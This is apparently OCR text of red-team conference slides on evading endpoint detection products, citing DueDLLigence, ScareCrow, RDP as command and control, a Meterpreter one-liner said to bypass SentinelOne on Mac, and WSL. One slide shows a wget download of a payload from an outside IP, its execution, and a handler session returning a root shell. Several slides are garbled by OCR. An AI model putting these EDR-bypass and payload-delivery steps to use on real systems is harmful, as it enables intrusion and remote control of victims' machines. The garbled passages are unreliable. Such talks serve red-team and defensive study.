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When Mad just won’t do.
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DueDlligence

DueDlligence (Fireeye)
Run Shellcode
DLL Side-loading
Bypass Application W hitelisting

Does NOT work out of box

- https://github.com/fireeye/DueDLLigence
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ScareCrow

ScareCrow (Optiv)
Run Shellcode
DLL Unhooking
API Calls to load into memory
Fake Digital Signature

Works out of box (For Now)

https://github.com/optiv/ScareCrow
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RDP (Sorry | am not Sorry)

Microsoft Approved Command & Control
Low detection rate

Not always easy to get but HARD to detect
Hardly ever has two factor

Move files copy & paste

Great way to scope things out
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Sentinel One (Mac Edition)

Default Python Meterpreter one-liner
from Met aed geleery madsle
bypassed S1 on Mac.

Marcello Salvati

(2 weeks of pain summarized in 2 slides)

Information Security
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Sentinel One (Mac Edition)

A Vendor Initially said it was caused by several bugs in their
backend that they were aware of, recommended installing

an old version of the Mac Agent.

Installed old version, still bypasses agent.

Vendor puts together a nAspr.i

To o I

Signatures FTW! Whatos old Is neyv
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Windows Subsystem for Linux 2048201920202021

Let 6s al | Bash on Windows! ! 1]

O uggh, amirite? _

o instaiwsLforwingows 0. | THEBOKISAID" nmu"'{""mrs WINDOWS
O Bypass EDR completely
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Bash On Windows, Ya Still

A C2 via Bash on Windows

This product is installed.

a. Virus & threat
X

protection settings
Kali Linux

Kali Linux * Security > PC

chmod +x sh.elf

rm sh.elf

o

wget http://159.65.72.186:8888/sh_elf
--2021-82-07 14:01:15-- http://159.65.72.186:8888/sh_elf
Connecting to 159.65.72.186:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: ‘sh.elf’

Sh.e].'l: 1@@%[::::::::::::::::::::::::

chmod +x sh.elf

./sh.elf
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Name  Current Setting Required

LHOST 159.65.72.186 yes 1
cified)
| LPORT 80 yes 1

Exploit target:

Id Name

® Wildcard Target

14:05:43 159.65.72.186 j:0 s:1 exploit
Starting interaction with 1...

id

uid=0(root) gid=0(root) groups=0(root)
whoami

root

hostname

ITOps-VM47
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Microsoft Store - Now with Python3.9!

The Microsoft Store has some awesome tools!
e.l i ke a Python3.9 install thanstaldoes not requi

Microsaft Stare
= Home  Gaming Entertainment Productivity Deals
Results for: python3
Departments || Awailable ¢ v 1
[ Of course, we just
C2 from there.

Apps (2000) shoy

Jorn Drysle p F - p
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Python 3.9 Python 3.8 Your Phone Python 3.7
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EDR Products

A CrowdStrike Falcon
A Carbon Black

A Symantec Endpoint

Protection
A FireEye EndpointSecurity

A Windows Defender/ ATP /
ATD / ATF/ ATR/ pay more

get more letters




